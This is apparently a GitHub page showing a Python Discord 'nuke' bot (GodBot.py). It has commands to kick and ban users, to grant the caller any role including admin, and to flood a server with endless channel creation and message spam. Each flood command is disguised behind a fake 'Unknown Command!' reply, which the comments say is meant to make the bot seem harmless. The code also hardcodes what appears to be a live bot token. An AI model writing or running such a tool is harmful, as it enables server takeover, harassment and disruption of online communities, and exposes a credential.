forked from eagleblitz/DiscordPythonBots
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathGodBot.py
More file actions
62 lines (52 loc) · 2.32 KB
/
GodBot.py
File metadata and controls
62 lines (52 loc) · 2.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import discord
from discord.ext.commands import bot
from discord.ext import commands
import random
import asyncio
import time
from threading import Thread
from random import randint
import datetime
import os
import aiohttp
import sys
import traceback
import json
from discord.utils import get
bot = commands.Bot(command_prefix='!')
@bot.event
async def on_ready():
print("BOT ACTIVATED!")
print("Join my discord! https://discord.gg/tb6pa")
print("Subscribe me! https://www.youtube.com/c/AhmadWahelsa?sub_confirmation=1")
print("Bot name: " + bot.user.name)
print("commands :")
print("!k : !k (user)")
print("!b : !b (user)")
print("!s : spam on a channel")
print("!r : !r (role name) u can use this to give yourself admin")
print("!c : channel spam")
print('discord version: ' + discord.__version__)
@bot.command(pass_context = True)
async def k(ctx, userName: discord.User):
await bot.kick(userName)
@bot.command(pass_context = True)
async def b(ctx, userName: discord.User):
await bot.ban(userName)
@bot.command(pass_context=True)
async def r(ctx, user: discord.User, role: discord.Role):
await bot.add_roles(ctx.message.author, role)
@bot.command(pass_context=True)
async def c(ctx):
await bot.say("Unknown Command!") #idk ignore this just to make sure some people that this bot isnt dangerous
time.sleep(2)
for i in range (0,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
await bot.create_channel(ctx.message.server, 'nuked', type=discord.ChannelType.text) #you can change the channel name by replacing 'nuked' to any name
@bot.command(pass_context=True)
async def s(ctx):
await bot.say("Unknown Command!") #idk ignore this just to make sure some people that this bot isnt dangerous
time.sleep(2)
for i in range (0,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000):
await bot.say("text spam 1") #text 1 goes here
await bot.say("text spam 2") #text 2 goes here
bot.run ("NDA0ODQwMTUzOTkxODcyNTEz.XNRh4A.REWyordpo2laAr6ZwdidYFbDWfo") #your bot token (please dont use your discord account token otherwise your account will get banned maybe)